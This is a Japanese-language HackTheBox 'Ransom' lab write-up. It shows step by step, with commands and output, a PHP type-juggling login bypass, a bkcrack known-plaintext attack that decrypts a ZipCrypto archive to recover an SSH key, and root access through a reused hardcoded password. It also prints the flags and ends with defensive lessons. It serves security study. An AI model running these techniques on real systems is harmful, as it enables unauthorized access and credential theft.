HackTheBox: Ransom — 全実行コマンド・実行結果レポート
Nmap スキャン
SSH(22)+Apache(80)
→
SSH(22)+Apache(80)
GET /api/login + JSON body
password: 0 (整数)
→
password: 0 (整数)
Type Juggling
認証バイパス成功
→
認証バイパス成功
/ の直接DLリンク
user.txt ✓
→
user.txt ✓
暗号化zip回収
ZipCrypto各エントリ個別暗号化
→
ZipCrypto各エントリ個別暗号化
bkcrack 既知平文攻撃
.profile がCRC一致
→
.profile がCRC一致
zip全体復号
id_rsa 秘密鍵回収
→
id_rsa 秘密鍵回収
SSH as htb
→
AuthController.php
パスワード使い回し
→
パスワード使い回し
su –
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -p- --min-rate 500 -T4 10.129.227.93 nmap -sV -sC -p 22,80 10.129.227.93
RESULT
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
| http-title: Admin - HTML5 Admin Template
|_Requested resource was http://10.129.227.93/login
ログインページの調査
BASH
curl -s -c cookies.txt http://10.129.227.93/login
RESULT (レスポンスCookie)
Set-Cookie: XSRF-TOKEN=... Set-Cookie: laravel_session=...
ℹ️
laravel_session Cookieから Laravel (PHP製) フレームワークと判明。
ログインフォームのインラインスクリプトを見ると、jQueryの
$.ajaxでGET api/loginにパスワードを送っており、
レスポンス本文が文字列"Login Successful"と一致した場合のみ
window.location.replace('/')でトップページへ遷移する設計。
PHASE 2
PHP Type Juggling による認証バイパス
POSTへの変更は拒否される
BASH
curl -s -X POST http://10.129.227.93/api/login -d '{"password":"test"}' \
-H "Content-Type: application/json"
RESULT
{"message":"The POST method is not supported for this route. Supported methods: GET, HEAD."}
ℹ️
ルートは
GETのみ対応。ただしHTTPの仕様上GETリクエストにも
ボディを含めること自体は可能で、LaravelはContent-Typeが
application/jsonであればGETリクエストのボディもJSONとして
パースし$request->get('password')で取得できてしまう。
Type Juggling — 整数0で認証バイパス
NOTE
PHPは "==" によるゆるい比較で、先頭が数字でない文字列と整数0を比較すると
常にtrueと評価する (PHP8未満の既定挙動)。サーバー側の実装は
if ($request->get('password') == "固定パスワード文字列") { ... }
という形になっており、"password" にJSONの数値0 (文字列 "0" ではない) を
渡すと "固定パスワード文字列" == 0 が true と評価され認証を通過できる。
BASH (文字列 “0” — 失敗)
curl -s -X GET http://10.129.227.93/api/login -b cookies.txt \
-H "Content-Type: application/json" -d '{"password":"0"}'
RESULT
Invalid Password
BASH (整数 0 — 成功)
curl -s -c cookies2.txt -X GET http://10.129.227.93/api/login -b cookies.txt \
-H "Content-Type: application/json" -d '{"password":0}'
RESULT
Login Successful
✅
認証バイパス成功。 レスポンスで新しい
laravel_session
Cookieが発行され、これが認証済みセッションとなる。
PHASE 3
user.txt 直接取得 & 暗号化zip回収
認証後トップページで user.txt を発見
BASH
curl -s -b cookies2.txt http://10.129.227.93/ | grep href
RESULT (関連行抜粋)
<span class="name">homedirectory.zip</span>
<span class="count"><a href="/uploaded-file-3422.zip">download</a></span>
<span class="product">The User Flag</span>
<span class="count"><a href="/user.txt">download</a></span>
BASH
curl -s -b cookies2.txt http://10.129.227.93/user.txt
RESULT
885ff47fd6d5b9f28954d2849367adb4
user.txt (直接ダウンロード)
885ff47fd6d5b9f28954d2849367adb4
✅
これだけでuser.txtが取得できる。 root権限昇格のためには
SSHアクセスが必要なため、続けて暗号化zipを回収する。
暗号化zipのダウンロードと内容確認
BASH
curl -s -b cookies2.txt http://10.129.227.93/uploaded-file-3422.zip -o homedirectory.zip 7z l -slt homedirectory.zip
RESULT (抜粋)
Path = .profile CRC = D1B22A87 Method = ZipCrypto Deflate Path = .ssh/id_rsa CRC = 38804579 Method = ZipCrypto Deflate Path = .ssh/authorized_keys CRC = CB143C32 Method = ZipCrypto Deflate
⚠️
各エントリが個別に暗号化されている。暗号化方式は
ZipCrypto — 既知平文攻撃 (known-plaintext attack) に脆弱な
1980年代設計の暗号方式であることが分かる。
PHASE 4
bkcrack による既知平文攻撃
bkcrack の入手
BASH (aptには存在しないためGitHub Releaseから取得)
curl -sL https://github.com/kimci86/bkcrack/releases/download/v1.8.1/bkcrack-1.8.1-Linux-x86_64.tar.gz \ -o bkcrack.tar.gz tar xzf bkcrack.tar.gz sudo cp bkcrack-1.8.1-Linux-x86_64/bkcrack /usr/local/bin/
既知平文の準備 — .profile のCRC一致を確認
NOTE
ZipCrypto既知平文攻撃には、暗号化されたファイルと同一内容の平文が手元に 必要。.profile のような設定ファイルはOSのバージョンが同じであれば バイト単位で完全に同一であることが多い。Ubuntu/Debian系は /etc/skel/.profile というテンプレートから新規ユーザーのホームディレクトリを 作成するため、攻撃者自身のKali機にある /etc/skel/.profile がターゲットの ものと一致するか CRC32 で確認する。
BASH
crc32 /etc/skel/.profile
RESULT
d1b22a87 ← ターゲットの .profile エントリと完全一致!
既知平文攻撃で内部鍵を導出
BASH (平文をzip化)
cp /etc/skel/.profile profile zip profile.zip profile
BASH (bkcrack実行)
bkcrack -C homedirectory.zip -c .profile -P profile.zip -p profile
RESULT
[*] Z reduction using 385 bytes of known plaintext
100.0 % (385 / 385)
[*] Attack on 20628 Z values at index 7
Found a solution. Stopping.
[*] Keys
7b549874 ebc25ec5 7e465e18
導出した鍵でzip全体を復号
BASH
bkcrack -C homedirectory.zip -k 7b549874 ebc25ec5 7e465e18 -D decrypted.zip unzip -o decrypted.zip -d unzipped/
RESULT
inflating: unzipped/.bash_logout inflating: unzipped/.bashrc inflating: unzipped/.profile inflating: unzipped/.ssh/id_rsa inflating: unzipped/.ssh/authorized_keys inflating: unzipped/.ssh/id_rsa.pub inflating: unzipped/.viminfo
✅
パスワード無しでzip全体を復号成功。
-D
オプションは内部鍵さえ分かれば、元のパスワードを知らなくても
全エントリを復号したコピーを作れる。
PHASE 5
SSH秘密鍵でログイン → パスワード使い回しでroot.txt
ユーザー名の特定とSSHログイン
BASH
cat unzipped/.ssh/authorized_keys
RESULT
ssh-rsa AAAAB3NzaC1yc2E... htb@ransom
BASH
chmod 600 unzipped/.ssh/id_rsa ssh -i unzipped/.ssh/id_rsa htb@10.129.227.93
RESULT
htb@ransom:~$ id uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
アプリソース内のハードコードパスワードを発見
BASH
htb@ransom:~$ grep -n "password\|PW" /srv/prod/app/Http/Controllers/AuthController.php
RESULT
34: 'password' => 'required',
37: if ($request->get('password') == "UHC-March-Global-PW!") {
42: return "Invalid Password";
⚠️
Phase2で悪用した比較の右辺こそがアプリ全体の固定パスワード。
これがWebアプリのソースコードに平文でハードコードされたまま
デプロイされている。
パスワード使い回しで su → root.txt
BASH
htb@ransom:/srv/prod$ su - Password: UHC-March-Global-PW! root@ransom:~# cat root.txt
RESULT
2a121f6466ba42afdbc06693e95ea762
root.txt
2a121f6466ba42afdbc06693e95ea762
✅
パスワード使い回しがそのまま権限昇格に直結。
Webアプリの固定パスワードとOSアカウントのrootパスワードが同一だった。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — htb (直接ダウンロード / SSH再確認)
885ff47fd6d5b9f28954d2849367adb4
root.txt
2a121f6466ba42afdbc06693e95ea762
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| PHP Type Juggling (CWE-697) | GET /api/login のパスワード比較 | 認証の完全バイパス | Critical | PHPの緩い比較(==)により、先頭が数字でない文字列と整数0を比較すると常にtrueになる仕様を、JSONボディで整数0を送ることで悪用 |
| 機密ファイルへの過剰な直接アクセス | 認証後トップページの /user.txt リンク | user.txt の即座な取得 | High | フラグファイルがWebルート配下から直接ダウンロード可能な状態で公開されている |
| ZipCrypto の既知平文攻撃 (Biham-Kocher) | homedirectory.zip の暗号化方式 | パスワード無しでのzip全体復号 | Critical | 1980年代設計の脆弱なZipCrypto暗号を使用しており、既定のOS設定ファイル(.profile)が既知平文として利用でき、bkcrackで内部鍵を導出可能 |
| ソースコードへのパスワードハードコード + 使い回し | AuthController.php + OSアカウントroot | root権限奪取 | High | Webアプリの固定認証パスワードがソースコードに平文で埋め込まれ、かつOSのrootパスワードとしても使い回されている |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | Laravelアプリ構成 (Apache/PHP) |
| 2 | 認証バイパス | PHP Type Juggling (password=0) | 認証済みセッション |
| 3 | フラグ取得+資格情報収集 | 直接ダウンロードリンク+暗号化zip回収 | user.txt、暗号化zip |
| 4 | 暗号解読 | bkcrack 既知平文攻撃 (.profile CRC一致) | SSH秘密鍵 (id_rsa) |
| 5 | 権限昇格 | ソース内パスワードの使い回し + su | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 認証比較にPHPの緩い比較演算子(==)を使用しており、型を厳密に検証していない | 厳密等価演算子(===)を使用するか、事前にis_string()等で型を明示的に検証する。パスワード比較にはhash_equals()等のタイミングセーフな専用関数を用いる。 |
| フラグファイルを含む機密ファイルがWebルート直下から誰でもダウンロード可能 | アップロード/生成されたファイルはWebルート外の非公開ディレクトリに保存し、アクセス制御付きのエンドポイント経由でのみ配信する。 |
| 個人情報を含むファイルの暗号化に、既知平文攻撃に脆弱な旧式のZipCrypto方式を使用している | AES-256等の現代的な暗号化方式(WinZip AE-2等)を使用する。既定のOS設定ファイルのような予測可能な内容を暗号化対象に含めない。 |
| アプリケーションの認証パスワードがソースコードに平文でハードコードされ、かつOSアカウントのパスワードとしても使い回されている | 認証情報は環境変数やシークレット管理サービスから取得しソースコードに含めない。アプリケーションアカウントとOSアカウントのパスワードは完全に分離し使い回さない。 |
